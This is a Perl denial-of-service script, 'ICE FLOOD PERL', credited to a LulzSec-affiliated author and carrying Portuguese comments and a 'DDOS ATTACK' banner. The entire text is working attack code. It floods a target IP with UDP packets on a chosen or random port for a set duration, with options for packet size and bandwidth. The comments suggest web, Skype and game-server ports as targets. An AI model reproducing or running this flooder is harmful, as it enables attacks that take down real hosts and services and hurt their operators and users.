ICE UDP - SCRIPT PERL

#!/usr/bin/perl ##################################################### # ICE FLOOD PERL # # Coded By Alice # # Facebook: fb.com/LulzSecGlobal # # Skype : princesa.alice # # Channel : youtube.com/c/exodoteam # ##################################################### use Socket; use strict; use Getopt::Long; use Time::HiRes qw( usleep gettimeofday ) ; our $port = 0; our $size = 0; our $time = 0; our $bw = 0; our $help = 0; our $delay= 0; GetOptions( "port=i" => \$port, # Porta Para Internet : 80 Porta Skype: 443 Mu Online: 44405 "size=i" => \$size, # Pacotes 0~65500 "bandwidth=i" => \$bw, # Invalida. "time=i" => \$time, # Tempo De Duraçao Do Ataque "delay=f"=> \$delay, # Opcao Desativada "help|?" => \$help); # Desativada my ($ip) = @ARGV; if ($help || !$ip) { print <<'EOL'; $$$$$$\ $$$$$$\ $$$$$$$$\ $$\ $$\ $$$$$$$\ $$$$$$$\ \_$$ _|$$ __$$\ $$ _____| $$ | $$ |$$ __$$\ $$ __$$\ $$ | $$ / \__|$$ | $$ | $$ |$$ | $$ |$$ | $$ | $$ | $$ | $$$$$\ $$ | $$ |$$ | $$ |$$$$$$$ | $$ | $$ | $$ __| $$ | $$ |$$ | $$ |$$ ____/ $$ | $$ | $$\ $$ | $$ | $$ |$$ | $$ |$$ | $$$$$$\ \$$$$$$ |$$$$$$$$\ \$$$$$$ |$$$$$$$ |$$ | \______| \______/ \________| \______/ \_______/ \__| DDOS ATTACK : perl ice.pl <ip> <port> <packet-size> <time> Coded By Alice ! Greetz: LulzSec Global EOL exit(1); } if ($bw && $delay) { print "Aviso: Pacotes Foram Ignorados. --size parameter ignored\n"; $size = int($bw * $delay / 8); } elsif ($bw) { $delay = (8 * $size) / $bw; } $size = 256 if $bw && !$size; ($bw = int($size / $delay * 8)) if ($delay && $size); my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Nao Conseguimos Conectar Ao IP: $ip\n"; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Atacando o IP: $ip " . ($port ? $port : "") . " " . ($size ? "$size-byte" : "") . " " . ($time ? " for $time seconds" : "") . "\n"; print "Interpacket delay $delay msec\n" if $delay; print "total IP bandwidth $bw kbps\n" if $bw; print "Pare o Ataque Apertando Linux: Ctrl + Z Windows: Ctrl + C\n" unless $time; die "Pacotes Muito Altos Abaixe Porfavor o maximo e 65500: $size\n" if $size && ($size < 64 || $size > 1500); $size -= 28 if $size; for (;time() <= $endtime;) { $psize = $size ? $size : int(rand(1024-64)+64) ; $pport = $port ? $port : int(rand(65500))+1; send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr)); usleep(1000 * $delay) if $delay; }